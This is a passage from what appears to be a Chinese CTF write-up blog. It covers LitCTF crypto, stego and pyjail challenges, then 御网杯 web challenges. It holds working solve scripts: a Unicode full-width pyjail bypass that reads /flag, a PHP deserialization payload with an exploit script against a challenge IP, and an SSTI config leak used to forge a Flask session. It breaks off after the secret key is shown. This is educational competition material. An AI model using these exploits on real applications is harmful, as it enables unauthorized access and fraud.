&lt;p&gt;当 `p` 和 `q` 很接近时,适用 &lt;strong&gt;Fermat 因式分解法&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;设 &lt;code&gt;n = p \* q&lt;/code&gt;,令 &lt;code&gt;a = \(p \+ q\) / 2&lt;/code&gt;,&lt;code&gt;b = \(q \- p\) / 2&lt;/code&gt;,则:&lt;/p&gt;
&lt;p&gt;$n = a^2 - b^2$&lt;/p&gt;
&lt;p&gt;从 &lt;code&gt;a = ⌈√n⌉&lt;/code&gt; 开始递增,每次检查 &lt;code&gt;a² \- n&lt;/code&gt; 是否为完全平方数。当 &lt;code&gt;p&lt;/code&gt; 和 &lt;code&gt;q&lt;/code&gt; 接近时,&lt;code&gt;a&lt;/code&gt; 离 &lt;code&gt;√n&lt;/code&gt; 很近,迭代次数极少。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
import gmpy2
from Crypto.Util.number import long_to_bytes

n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
e = 65537

# Fermat factorization
a = gmpy2.isqrt(n) + 1
count = 0
while True:
    b2 = a * a - n
    if gmpy2.is_square(b2):
        b = gmpy2.isqrt(b2)
        p = int(a - b)
        q = int(a + b)
        print(f&quot;Found after {count} iterations&quot;)
        print(f&quot;p = {p}&quot;)
        print(f&quot;q = {q}&quot;)
        break
    a += 1
    count += 1
    if count % 100000 == 0:
        print(f&quot;iter {count}&quot;)

assert p * q == n
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(int(m))
print(flag)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-59.png&quot; alt=&quot;Figure 59&quot; /&gt;&lt;/p&gt;
&lt;p&gt;litctf{rsa_fermat_finds_close_primes}&lt;/p&gt;
&lt;h2&gt;lit_tiny_key_aes&lt;/h2&gt;
&lt;p&gt;题目原件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
LitCTF2026 — AES-128-ECB with a mostly fixed key (weak operational policy).
&quot;&quot;&quot;
from __future__ import annotations

import argparse
from pathlib import Path

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

try:
    from secret import FLAG, UNKNOWN_KEY_SUFFIX
except ImportError as e:
    raise SystemExit(
        &quot;secret.py is required to generate ciphertext (contains FLAG and key suffix).&quot;
    ) from e

KEY_PREFIX = b&quot;LitCTF2026!!!&quot;  # 13 bytes; 3 bytes brute-forced
assert len(KEY_PREFIX) + len(UNKNOWN_KEY_SUFFIX) == 16


def encrypt_aes_ecb_pkcs7(plaintext: bytes, key: bytes) -&amp;gt; bytes:
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.encrypt(pad(plaintext, AES.block_size))


def main() -&amp;gt; None:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        &quot;--write&quot;,
        type=Path,
        help=&quot;Write ciphertext hex to this file.&quot;,
    )
    args = parser.parse_args()

    key = KEY_PREFIX + UNKNOWN_KEY_SUFFIX
    c = encrypt_aes_ecb_pkcs7(FLAG, key)
    line = f&quot;c = {c!r}\n&quot;
    print(line, end=&quot;&quot;)
    if args.write:
        args.write.write_text(line, encoding=&quot;utf-8&quot;)


if __name__ == &quot;__main__&quot;:
    main()

# c = b&quot;\x0c\xdb&apos;`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J&amp;lt;\x86\x19\x06K\xb3\xa2\xa4\x18\x87&amp;lt;v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;题目分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目给出一份 AES-128-ECB 加密脚本和一段密文：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;KEY_PREFIX = b&quot;LitCTF2026!!!&quot;  # 13 bytes; 3 bytes brute-forced
assert len(KEY_PREFIX) + len(UNKNOWN_KEY_SUFFIX) == 16
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键信息：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;AES-128 密钥共 16 字节&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;前 13 字节是已知常量 &lt;code&gt;LitCTF2026\!\!\!&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;后 3 字节随机未知（即 &lt;code&gt;UNKNOWN\_KEY\_SUFFIX&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;注释里也写明 &lt;code&gt;3 bytes brute\-forced&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;思路&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;未知部分仅 3 字节，搜索空间 256³ ≈ 1.6×10⁷，单机几十秒内即可枚举完。&lt;/p&gt;
&lt;p&gt;对每个候选 key 解密，再用两条筛选条件锁定真 key：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;PKCS7 &lt;code&gt;unpad&lt;/code&gt; 不抛异常（过滤掉绝大多数错误 key）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;解密结果全部是可打印 ASCII&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from itertools import product

KEY_PREFIX = b&quot;LitCTF2026!!!&quot;
c = b&quot;\x0c\xdb&apos;`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd&quot; \
    b&quot;\x0c\xb9\xb6\xb2J&amp;lt;\x86\x19\x06K\xb3\xa2\xa4\x18\x87&amp;lt;&quot; \
    b&quot;v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3&quot;

for s in product(range(256), repeat=3):
    key = KEY_PREFIX + bytes(s)
    pt = AES.new(key, AES.MODE_ECB).decrypt(c)
    try:
        flag = unpad(pt, 16)
    except ValueError:
        continue
    if all(32 &amp;lt;= b &amp;lt; 127 for b in flag):
        print(f&quot;suffix = {bytes(s)!r}&quot;)
        print(f&quot;flag   = {flag.decode()}&quot;)
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-60.png&quot; alt=&quot;Figure 60&quot; /&gt;&lt;/p&gt;
&lt;p&gt;litctf{aes_tiny_brut3_for_the_win!}&lt;/p&gt;
&lt;h1&gt;Misc&lt;/h1&gt;
&lt;h2&gt;lit_lsb_base64&lt;/h2&gt;
&lt;p&gt;题目提示是LSB隐写，直接扔进随波逐流&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-61.png&quot; alt=&quot;Figure 61&quot; /&gt;&lt;/p&gt;
&lt;p&gt;base64解码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-62.png&quot; alt=&quot;Figure 62&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拿到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LitCTF{lsb_1s_fun_w1th_b4s3_64}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;lit_rush_qr&lt;/h2&gt;
&lt;p&gt;附件给了一个gif，我们可以用&lt;a href=&quot;https://www.iloveimg.com/zh-cn/convert-to-jpg&quot;&gt;iloveimg&lt;/a&gt;这个网站把gif转为图片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-63.png&quot; alt=&quot;Figure 63&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以发现二维码缺少定位符，依旧随波逐流&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-64.png&quot; alt=&quot;Figure 64&quot; /&gt;&lt;/p&gt;
&lt;p&gt;补全三个定位角之后即可识别&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-65.png&quot; alt=&quot;Figure 65&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LitCTF{qr_h1gh_3rr_c0r_r3c0v3ry}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;lit_welcome&lt;/h2&gt;
&lt;p&gt;依旧拖进随波逐流&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-66.png&quot; alt=&quot;Figure 66&quot; /&gt;&lt;/p&gt;
&lt;p&gt;lsb分析&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-67.png&quot; alt=&quot;Figure 67&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拿到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LitCTF{w3lc0m3_t0_m1sc_w0rld}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;lit_sstv&lt;/h2&gt;
&lt;p&gt;直接用在线网站解sstv&lt;/p&gt;
&lt;p&gt;https://sstv-decoder.mathieurenaud.fr/&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-68.png&quot; alt=&quot;Figure 68&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拿到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LitCTF{sstv_p4t13nc3}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;lit_pyjail_reader&lt;/h2&gt;
&lt;p&gt;题目原件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;LitCTF — 入门 Pyjail：验证码 + 按指引两次只读文件（无 RCE）。&quot;&quot;&quot;

import secrets
import socket
import string
import threading

HOST = &quot;0.0.0.0&quot;
PORT = 9999
MAX_QUEUED = 64
MAX_LINE = 512
MAX_FILE = 4096


def recv_line(conn: socket.socket) -&amp;gt; str:
    data = bytearray()
    while len(data) &amp;lt; MAX_LINE:
        chunk = conn.recv(1)
        if not chunk:
            break
        if chunk == b&quot;\n&quot;:
            break
        data += chunk
    return data.decode(&quot;utf-8&quot;, errors=&quot;replace&quot;).strip()


def safe_read(path: str) -&amp;gt; str:
    p = path.strip()
    if not p or p.startswith(&quot;-&quot;) or &quot;\x00&quot; in p:
        raise ValueError(&quot;invalid path&quot;)
    with open(p, &quot;r&quot;, errors=&quot;replace&quot;) as f:
        return f.read(MAX_FILE)


def handle(conn: socket.socket) -&amp;gt; None:
    try:
        conn.settimeout(120)
        alphabet = string.ascii_uppercase
        challenge = &quot;&quot;.join(secrets.choice(alphabet) for _ in range(8))
        conn.sendall(
            f&quot;Please enter the reverse of &apos;{challenge}&apos; to continue: &quot;.encode()
        )
        ans = recv_line(conn)
        if ans != challenge[::-1]:
            conn.sendall(b&quot;Wrong reverse string. Bye.\n&quot;)
            return
        conn.sendall(
            b&quot;Good.\n&quot;
            b&quot;Step 1: read /app/where_is_flag.txt (it contains the flag path).\n&quot;
            b&quot;Step 2: read that path.\n&quot;
            b&quot;File path (1/2): &quot;
        )
        p1 = recv_line(conn)
        try:
            c1 = safe_read(p1)
        except Exception as e:
            conn.sendall(f&quot;Error: {e}\n&quot;.encode(errors=&quot;replace&quot;))
            return
        conn.sendall(b&quot;--- begin ---\n&quot;)
        conn.sendall(c1.encode(errors=&quot;replace&quot;))
        conn.sendall(b&quot;\n--- end ---\nFile path (2/2): &quot;)
        p2 = recv_line(conn)
        try:
            c2 = safe_read(p2)
        except Exception as e:
            conn.sendall(f&quot;Error: {e}\n&quot;.encode(errors=&quot;replace&quot;))
            return
        conn.sendall(c2.encode(errors=&quot;replace&quot;))
        conn.sendall(b&quot;\n&quot;)
    finally:
        conn.close()


def main() -&amp;gt; None:
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((HOST, PORT))
    srv.listen(MAX_QUEUED)
    while True:
        client, _ = srv.accept()
        threading.Thread(target=handle, args=(client,), daemon=True).start()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对题目原件分析后&lt;/p&gt;
&lt;p&gt;整道题不需要任何绕过，&lt;strong&gt;完全按照服务器的 Step1 / Step2 顺序走&lt;/strong&gt;即可。脚本主要负责：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;接收 banner，正则提取 8 字母 challenge&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;反转后送回&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;发送 &lt;code&gt;/app/where\_is\_flag\.txt&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;解析 &lt;code&gt;\-\-\- begin \-\-\- \.\.\. \-\-\- end \-\-\-&lt;/code&gt; 之间的内容拿到真实路径&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;把这个路径再发回去，收最后输出&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;经典的新手引导型交互题&lt;/p&gt;
&lt;p&gt;流程：&lt;/p&gt;
&lt;p&gt;反转验证码&lt;/p&gt;
&lt;p&gt;读取： /app/where_is_flag.txt&lt;/p&gt;
&lt;p&gt;得到真正 flag 路径&lt;/p&gt;
&lt;p&gt;第二次读取那个路径&lt;/p&gt;
&lt;p&gt;拿 flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-69.png&quot; alt=&quot;Figure 69&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{sisx9chi-ciik-4cd-81xr-vcfrxt7frexgh}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;lit_pyjail_unicode&lt;/h2&gt;
&lt;p&gt;原件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;LitCTF — Unicode 标识符绕过：过滤检查原始源码字符串，解释器仍接受全角等价标识符。&quot;&quot;&quot;

import re
import socket
import threading

HOST = &quot;0.0.0.0&quot;
PORT = 9999
MAX_QUEUED = 64
MAX_LINE = 240

# 仅检查「你键入的文本」：ASCII 关键字用词边界，避免匹配到 important 等
BANNED = re.compile(
    r&quot;\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|&quot;
    r&quot;\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|&quot;
    r&quot;\bsubprocess\b|\bpty\b|os.|sys.|\bposix\b&quot;,
    re.IGNORECASE,
)


def banned(raw: str) -&amp;gt; bool:
    if &quot;\\u&quot; in raw or &quot;\\U&quot; in raw or &quot;\\x&quot; in raw:
        return True
    return BANNED.search(raw) is not None


def handle(conn: socket.socket) -&amp;gt; None:
    try:
        conn.settimeout(60)
        conn.sendall(
            b&quot;=== LitCTF pyjail unicode ===\n&quot;
            b&quot;Send ONE line of Python. It will be eval() with full __builtins__.\n&quot;
            b&quot;ASCII blacklist applies to your *source text* (see attachment jail.py).\n&quot;
            b&quot;Goal: read /flag and get its str content.\n&amp;gt; &quot;
        )
        raw = bytearray()
        while len(raw) &amp;lt; MAX_LINE:
            ch = conn.recv(1)
            if not ch:
                break
            if ch == b&quot;\n&quot;:
                break
            raw += ch
        line = raw.decode(&quot;utf-8&quot;, errors=&quot;replace&quot;).strip()
        if not line:
            conn.sendall(b&quot;empty\n&quot;)
            return
        if banned(line):
            conn.sendall(b&quot;disallowed pattern in source\n&quot;)
            return
        try:
            out = eval(line, {&quot;__builtins__&quot;: __builtins__})
            conn.sendall(repr(out).encode(errors=&quot;replace&quot;) + b&quot;\n&quot;)
        except Exception as e:
            conn.sendall(f&quot;{type(e).__name__}: {e}\n&quot;.encode(errors=&quot;replace&quot;))
    finally:
        conn.close()


def main() -&amp;gt; None:
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((HOST, PORT))
    srv.listen(MAX_QUEUED)
    while True:
        c, _ = srv.accept()
        threading.Thread(target=handle, args=(c,), daemon=True).start()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目给了一个 Python pyjail，并提示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Send ONE line of Python. It will be eval() with full __builtins__.
ASCII blacklist applies to your source text.
Goal: read /flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;源码关键部分：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BANNED = re.compile(
    r&quot;\bimport\b|\bexec\b|\beval\b|\bopen\b|...&quot;
)

if banned(line):
    conn.sendall(b&quot;disallowed pattern in source\n&quot;)
    return

out = eval(line, {&quot;__builtins__&quot;: __builtins__})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;黑名单只检查「原始输入字符串」&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;但 &lt;code&gt;eval\(\)&lt;/code&gt; 使用完整 &lt;code&gt;builtins&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;并没有真正删除 &lt;code&gt;open&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;题目名是 &lt;strong&gt;unicode&lt;/strong&gt;，因此考虑 Unicode 标识符绕过。&lt;/p&gt;
&lt;p&gt;一句话总结&lt;/p&gt;
&lt;p&gt;黑名单看的是字节，解析器看的是 NFKC 归一化后的标识符——两者认知不一致就是这道题的洞。把 &lt;code&gt;open&lt;/code&gt; 写成全角 &lt;code&gt;ｏｐｅｎ&lt;/code&gt;，正则一无所知，编译器照常解析为内置 &lt;code&gt;open&lt;/code&gt;，eval 一行 &lt;code&gt;ｏｐｅｎ\(\&amp;amp;\#39;/flag\&amp;amp;\#39;\)\.read\(\)&lt;/code&gt; 收工。&lt;/p&gt;
&lt;p&gt;用全角字符绕过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import socket

HOST = &quot;challenge.cyclens.tech&quot;
PORT = 32326

s = socket.socket()
s.connect((HOST, PORT))

print(s.recv(4096).decode())

payload = &quot;ｏｐｅｎ(&apos;/flag&apos;).read()\n&quot;

s.send(payload.encode())

print(s.recv(4096).decode())

s.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-70.png&quot; alt=&quot;Figure 70&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>御网杯 WriteUp</title><link>https://blog-5w0.pages.dev/posts/yuwangbei/</link><guid isPermaLink="true">https://blog-5w0.pages.dev/posts/yuwangbei/</guid><description>御网杯 WriteUp CTF WriteUp</description><pubDate>Mon, 01 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;御网杯&lt;/h1&gt;
&lt;h1&gt;Web&lt;/h1&gt;
&lt;h2&gt;WEB-Snake_Game&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-01.png&quot; alt=&quot;Figure 1&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;打开首页后，页面只有一个 Snake Game，前端逻辑全写在页面内联 JavaScript 里。关键点在这个函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function checkWin(s) {
    let formData = new FormData();
    formData.append(&apos;score&apos;, s);
    fetch(&apos;index.php&apos;, { method: &apos;POST&apos;, body: formData })
    .then(r =&amp;gt; r.json())
    .then(data =&amp;gt; {
        if(data.status === &apos;success&apos;) {
            msgEl.innerText = data.flag;
        }
    });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;游戏结束后，前端只是把 score 提交给 index.php&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;服务端返回 JSON&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;前端直接把返回的 flag 显示出来&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这说明核心漏洞是：后端只校验提交的分数，没有校验分数是否真的通过游戏产生&lt;/p&gt;
&lt;p&gt;利用方式&lt;/p&gt;
&lt;p&gt;直接伪造一个 score=300 的请求即可，然后拿到flag。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-02.png&quot; alt=&quot;Figure 2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;WEB-PHP_Payment&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-03.png&quot; alt=&quot;Figure 3&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;先审附件源码，关键点有两处。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在 apply_coupon.php 中，服务端会对用户提交的 coupon 参数先做 base64_decode()，随后直接执行 unserialize()：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;$decoded = base64_decode($couponData);
$promo = @unserialize($decoded);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这意味着这里存在用户可控的 PHP 反序列化。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在 models.php 中定义了 PromoManager 类，它的析构函数会把对象属性 promo_credit 直接累加到 session 余额：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;function __destruct() {
    if(isset($this-&amp;gt;promo_credit) &amp;amp;&amp;amp; is_numeric($this-&amp;gt;promo_credit)) {
        $_SESSION[&apos;balance&apos;] += intval($this-&amp;gt;promo_credit);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，只要我们伪造一个 PromoManager 对象，并把 promo_credit 设成足够大的数字，在反序列化结束、对象销毁时就能给自己“充值”。&lt;/p&gt;
&lt;p&gt;再看 buy.php，其中 flag 商品价格是 99999 金币：&lt;/p&gt;
&lt;p&gt;初始余额只有 20，因此正常无法购买，但通过优惠券反序列化可以直接把余额加到足够大。&lt;/p&gt;
&lt;p&gt;利用链非常简单：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;访问首页，拿到一个新的 PHPSESSID&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;构造 PromoManager 对象，令 promo_credit=100000&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将该对象序列化后再 Base64 编码，作为 coupon 提交给 /api/apply_coupon.php&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;同一 session 下请求 /buy.php，传 item=flag&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;余额足够后成功购买，返回 flag&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;构造 Payload&lt;/p&gt;
&lt;p&gt;PromoManager 有两个公开属性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;promo_credit&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;promo_code&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此可构造如下序列化字符串：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;O:12:&quot;PromoManager&quot;:2:{s:12:&quot;promo_credit&quot;;i:100000;s:10:&quot;promo_code&quot;;s:3:&quot;VIP&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应 Base64 为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MzoiVklQIjt9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用下面的脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from __future__ import print_function

import base64
import re
import sys

try:
    from urllib.request import HTTPCookieProcessor, Request, build_opener
    from urllib.parse import urlencode
    from http.cookiejar import CookieJar
except ImportError:
    from urllib2 import HTTPCookieProcessor, Request, build_opener
    from urllib import urlencode
    from cookielib import CookieJar

TARGET = sys.argv[1] if len(sys.argv) &amp;gt; 1 else &quot;http://120.27.146.76:13228&quot;

def build_coupon(credit=100000, code=&quot;VIP&quot;):
    payload = (
        &apos;O:12:&quot;PromoManager&quot;:2:{{&apos;
        &apos;s:12:&quot;promo_credit&quot;;i:{credit};&apos;
        &apos;s:10:&quot;promo_code&quot;;s:{code_len}:&quot;{code}&quot;;&apos;
        &quot;}}&quot;
    ).format(
        credit=credit,
        code_len=len(code),
        code=code,
    )
    return base64.b64encode(payload.encode()).decode()

def extract_flags(text):
    return re.findall(r&quot;flag**\{**[^}]+**\}**&quot;, text)

def decode_text(data):
    if hasattr(data, &quot;decode&quot;):
        return data.decode(&quot;utf-8&quot;, &quot;ignore&quot;)
    return data

def http_get(opener, url):
    req = Request(url)
    return decode_text(opener.open(req, timeout=10).read())

def http_post(opener, url, data):
    body = urlencode(data)
    if hasattr(body, &quot;encode&quot;):
        body = body.encode(&quot;utf-8&quot;)
    req = Request(url, data=body)
    return decode_text(opener.open(req, timeout=10).read())

def main():
    jar = CookieJar()
    opener = build_opener(HTTPCookieProcessor(jar))

    http_get(opener, &quot;{}/&quot;.format(TARGET))

    coupon = build_coupon()
    resp = http_post(
        opener,
        &quot;{}/api/apply_coupon.php&quot;.format(TARGET),
        {&quot;coupon&quot;: coupon},
    )
    print(&quot;[*] apply_coupon response:&quot;, resp)

    resp = http_post(
        opener,
        &quot;{}/buy.php&quot;.format(TARGET),
        {&quot;item&quot;: &quot;flag&quot;},
    )
    print(&quot;[*] buy response:&quot;, resp)

    flags = extract_flags(resp)
    if not flags:
        print(&quot;[-] No flag found.&quot;)
        return

    print(&quot;[+] Found flags:&quot;)
    for idx, flag in enumerate(flags, 1):
        print(&quot;  {}. {}&quot;.format(idx, flag))

    print(&quot;[+] Likely real flag: {}&quot;.format(flags[0]))

if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-04.png&quot; alt=&quot;Figure 4&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;WEB-TaxSystem_SSTI&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-05.png&quot; alt=&quot;Figure 5&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;在 init_db.py 可以看到系统初始化了一个账号：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin / 123456
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 app.py 的 preview() 逻辑里，只有当 state == &apos;AUDIT_PENDING&apos; 时，才会走“官方审计报告”模板渲染分支。这个分支把 custom_footer 直接拼进 HTML，再交给 app.py (line 127) 的 render_template_string() 渲染，这就形成了标准 SSTI。&lt;/p&gt;
&lt;p&gt;黑名单在 app.py ，虽然过滤了 __、引号、request、session 等关键字，但没有过滤 config，所以 {{config}} 可以直接用。&lt;/p&gt;
&lt;p&gt;此外，app.py  的 /admin/vault 只校验：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if session.get(&apos;role&apos;) != &apos;tax_inspector&apos;:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，只要能伪造 Flask session，就能越权进后台。&lt;/p&gt;
&lt;p&gt;要注意一点：config.py 里的默认 SECRET_KEY 不是远端实际值，所以不能直接拿源码默认值伪造 cookie，必须先通过 SSTI 泄露线上真实密钥。&lt;/p&gt;
&lt;p&gt;接下来我们去利用&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;登录系统，账号密码为：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;admin / 123456
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-06.png&quot; alt=&quot;Figure 6&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过 /api/import 修改自己的 profile：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;profile_id&quot;: 1,
  &quot;data&quot;: {
    &quot;state&quot;: &quot;AUDIT_PENDING&quot;,
    &quot;custom_footer&quot;: &quot;{{config}}&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;访问 /preview/1，页面会回显 Flask 配置，拿到远端真实密钥：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;SECRET_KEY = secret_tax_key_2026_xoxo
